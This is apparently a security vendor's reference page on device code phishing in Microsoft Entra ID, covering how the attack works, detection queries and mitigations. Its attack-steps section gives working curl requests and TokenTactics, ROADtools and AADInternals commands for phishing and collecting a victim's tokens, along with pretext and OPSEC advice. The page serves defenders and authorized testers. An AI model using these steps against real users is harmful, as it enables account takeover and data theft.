1. Resources
  2. Identity Threats
  3. Microsoft Entra ID

Device Code Phishing

Also known as: Device code flow phishing, Device authorization grant phishing, OAuth device code attack, Device code authentication abuse

An attacker starts an OAuth device code sign-in and gets a user to enter the code on Microsoft's real sign-in page; the user completes MFA and the attacker's client receives the tokens.

Platform
Microsoft Entra ID
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: No account
No account in the tenant. A way to message the target (email, Teams, chat) and internet access to the Microsoft device code and token endpoints.
What the attacker gains
Access and refresh tokens for the victim's account, issued after the victim passed MFA, usable for mail, files and Microsoft Graph and exchangeable for other resources.
Threat groups
APT28APT29ShinyHuntersTeamPCPAPT-C-36APT1APT3APT32APT33APT38APT39APT42APT5BlackTechand 44 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1528, T1566.002, T1078.004, T1550.001.

How it works

The OAuth 2.0 device authorization grant exists for devices that can't show a browser: televisions, conference room systems, command-line tools. The device asks the identity provider for a pair of codes, shows the short one to the user, and the user types it into a browser on another device. When the user has signed in, the device collects the tokens. In Microsoft Entra ID the page is microsoft.com/devicelogin.

The flow separates two things that normally sit together: the client that will receive the tokens and the browser where the user authenticates. Device code phishing puts the attacker on one side and the victim on the other.

  1. The attacker requests a device code from the /devicecode endpoint for a client application and a resource of their choice. No credentials are needed for this request.
  2. The attacker sends the short user code to the victim with a reason to enter it: a meeting invitation, a shared document, an IT security check.
  3. The victim opens the genuine Microsoft page, types the code and signs in, completing MFA as usual.
  4. The attacker's client, which has been polling the token endpoint with the device code, receives an access token and a refresh token for the victim's account.

Nothing in the victim's experience is fake. The domain is Microsoft's, the certificate is valid, the password manager fills the form, and a passkey works. The only clue is the application name on the confirmation screen, and attackers choose a first-party Microsoft application so that the name is familiar. No consent prompt appears for an application that is already consented or pre-authorized in the tenant.

The tokens record that MFA was performed, so they satisfy policies that require MFA. With the refresh token the attacker requests tokens for other resources (Outlook, Teams, SharePoint, Azure management) without the victim doing anything more. If the flow was started for the Microsoft Authentication Broker client, the tokens can be used to register a device and obtain a Primary Refresh Token, which turns one phished session into durable access. The follow-on steps are on the token theft and replay and Primary Refresh Token theft pages.

Device code phishing is an identity-based attack that needs no malware and no fake site, which is why several threat groups have adopted it.

Prerequisites

  • The target's address in a channel they read: email, Teams external chat, another messaging application.
  • The victim enters the code before it expires. Microsoft's default lifetime for the codes is 15 minutes.
  • Device code flow is not blocked for the victim by Conditional Access.
  • No policy on the token's later use that the attacker can't satisfy. A policy that requires a compliant device for the resource blocks the sign-in, because the attacker's device isn't compliant.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

The steps below are for an authorized assessment or a lab.

1. Request the codes

The raw request, as Microsoft documents it. Use the application ID of a public client and the scopes wanted:

curl -s -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "client_id=00000000-0000-0000-0000-000000000000" \
  --data-urlencode "scope=https://graph.microsoft.com/.default offline_access"

The response contains user_code (what the victim types), device_code (what the attacker keeps), verification_uri, expires_in and interval, the number of seconds to wait between polls.

2. Deliver the user code

Send the victim the user_code and the verification address with a pretext that explains why they are being asked to enter a code. Timing matters more than wording, because the code is valid for minutes.

3. Poll for the tokens

curl -s -X POST "https://login.microsoftonline.com/organizations/oauth2/v2.0/token" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "grant_type=urn:ietf:params:oauth:grant-type:device_code" \
  --data-urlencode "client_id=00000000-0000-0000-0000-000000000000" \
  --data-urlencode "device_code=<device_code>"

Until the victim finishes, the endpoint answers authorization_pending. authorization_declined and expired_token end the attempt. A success returns access_token, refresh_token and id_token.

4. The same flow with tooling

TokenTactics requests the codes, prints the user code, polls, and keeps the result in $response:

Import-Module .\TokenTactics.psd1

# Start a device code sign-in for Microsoft Graph and wait for the victim
Get-AzureToken -Client MSGraph

# After the victim signs in
$response.access_token
$response.refresh_token

ROADtools does the same and stores the tokens for its other commands:

roadrecon auth --device-code

AADInternals includes a function, Invoke-AADIntPhishing, that sends the message by email or Teams and collects the tokens in one step.

5. Exchange the refresh token for other resources

# A token for Outlook from the Graph refresh token
Invoke-RefreshToOutlookToken -domain corp.example.com -refreshToken $response.refresh_token
$OutlookToken.access_token

# A token for Microsoft Graph under a different client ID
Invoke-RefreshToMSGraphToken -domain corp.example.com `
    -ClientId 1b730954-1685-4b74-9bfd-dac224a7b894 -refreshToken $response.refresh_token

With roadtx the equivalent is roadtx gettokens --refresh-token <token> -r msgraph, or -c msteams to switch client.

6. Use the access

Read mail and files, search for credentials and internal documentation, enumerate the directory with the victim's rights (Entra ID reconnaissance), and send the next phishing message from the victim's own account, where it is far more convincing.

Impact

The attacker acts as the victim across Microsoft 365 and any application that accepts the tokens, with MFA already satisfied. The refresh token keeps working until it is revoked, the password is changed, or policy re-evaluates the session, so the access outlasts the 15-minute window by a long way. If the attacker registers a device, the access survives a password reset as well.

For an administrator the result is the tenant. For a standard user it is that person's mailbox, files, chats and contacts, and an internal position for the next round of phishing.

OPSEC and artifacts

  • No infrastructure to burn. There is no phishing domain and no proxy; the link in the message is Microsoft's. Mail filters that judge links have nothing to flag. What remains is the message itself and the victim's memory of entering a code.
  • A familiar client. Operators pick a first-party application so the confirmation screen shows a trusted name. The sign-in record still names that application and marks the authentication protocol as deviceCode, which most users never produce.
  • The sign-in belongs to the victim, the address belongs to the attacker. The record for the token issuance carries the IP address, location and user agent of the polling client, not of the victim's browser. Operators poll from an address in the victim's country. The address is still new for that user, and no device ID is attached.
  • Token use is tied to its origin. Later sign-ins in the same session record that the session originated from a device code flow in OriginalTransferMethod, so refreshes and resource access can be traced back to the phish.
  • Refresh token exchanges are sign-ins. Each new resource the attacker requests appears in the non-interactive sign-in log with the client ID used. A user's session suddenly reaching Outlook, Teams, SharePoint and Azure management from one address in minutes is a recognizable pattern.
  • Device registration is audited. Using the broker client to register a device writes directory audit events for the new device and its registered owner.

Detection

  • Any successful device code sign-in. In most tenants only a few accounts, such as meeting room devices and some developers, ever use the flow. The device code phishing rules alert on the protocol and treat a sign-in to the Microsoft Authentication Broker as high severity.
  • A device registered soon after. See the rogue device registration rules.
  • Risk detections on the resulting session. Microsoft's anomalous token detection and the high-risk sign-in rules.
  • The session's later activity. Sign-ins that share the SessionId of the device code sign-in, from an address or network the user doesn't use.

Device code sign-ins, with the application and the address that received the tokens:

union withsource=SourceTable SigninLogs, AADNonInteractiveUserSignInLogs
| where AuthenticationProtocol == "deviceCode" or OriginalTransferMethod == "deviceCodeFlow"
| project TimeGenerated, SourceTable, UserPrincipalName, AppDisplayName, AppId, ResourceDisplayName,
          IPAddress, Location, UserAgent, ResultType, AuthenticationProtocol, OriginalTransferMethod, SessionId
| order by TimeGenerated asc

Read the result with the flow in mind. A successful MFA step in the record proves the user authenticated; it says nothing about who holds the tokens. An authorization_pending poll is not a completed sign-in. Ask the user whether they were setting up a device, and compare the application and resource with what that device would need.

Mitigation

  • Block device code flow with Conditional Access. Target all users and all resources, set the Authentication flows condition to Device code flow, and block access. Run it in report-only mode first, then allow the flow only for the documented accounts and locations that need it. The device code flow guide has the steps.
  • Require a compliant or hybrid joined device for Microsoft 365 and administrative resources. A device code sign-in from an attacker's machine can't meet that requirement.
  • Restrict device registration. Require MFA to register or join a device and limit who can do it, so that phished tokens can't be turned into a registered device.
  • Use token protection and continuous access evaluation where the client and resource support them, to bind tokens to a device and shorten the time a stolen token works.
  • Teach the one rule that matters: never enter a code that someone sent you. A legitimate device code is one the user generated on a device in front of them.
  • Prepare the response. Revoke sessions, reset the password, remove devices registered after the sign-in, and review mailbox rules and application consents. Risk-based policies can automate the first steps; see the ID Protection guide.
  • Keep the logs. Export interactive and non-interactive sign-in logs to a workspace. Entra ID keeps them for 7 days on the free tier and 30 days with P1 or P2.

Detection rules for this attack

Log events to collect

FAQ

Does MFA protect against device code phishing?

No. The victim signs in on Microsoft's own page and completes MFA themselves, including with a phishing-resistant method. The tokens are then issued to the client that started the flow, which is the attacker's. MFA proves who the user is; it doesn't check which device will receive the tokens.

How long does the attacker have?

The device code and user code expire 15 minutes after the request by default. The victim has to enter the code within that window, so the attacker either generates the code when the victim is known to be responsive or uses a page that requests a fresh code when the victim opens it.

How do I block device code flow?

With a Conditional Access policy: all users, all resources, the Authentication flows condition set to Device code flow, and the grant control Block access. Microsoft recommends getting as close as possible to a complete block and allowing the flow only for documented cases such as conference room devices. Start in report-only mode to find legitimate use.

What should we do after a user entered a code?

Revoke the user's sessions so refresh tokens stop working, reset the password if it may also be exposed, and delete any device registered for the user after the sign-in. Then review what the tokens were used for: mailbox rules, file downloads, Graph requests and new application consents.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.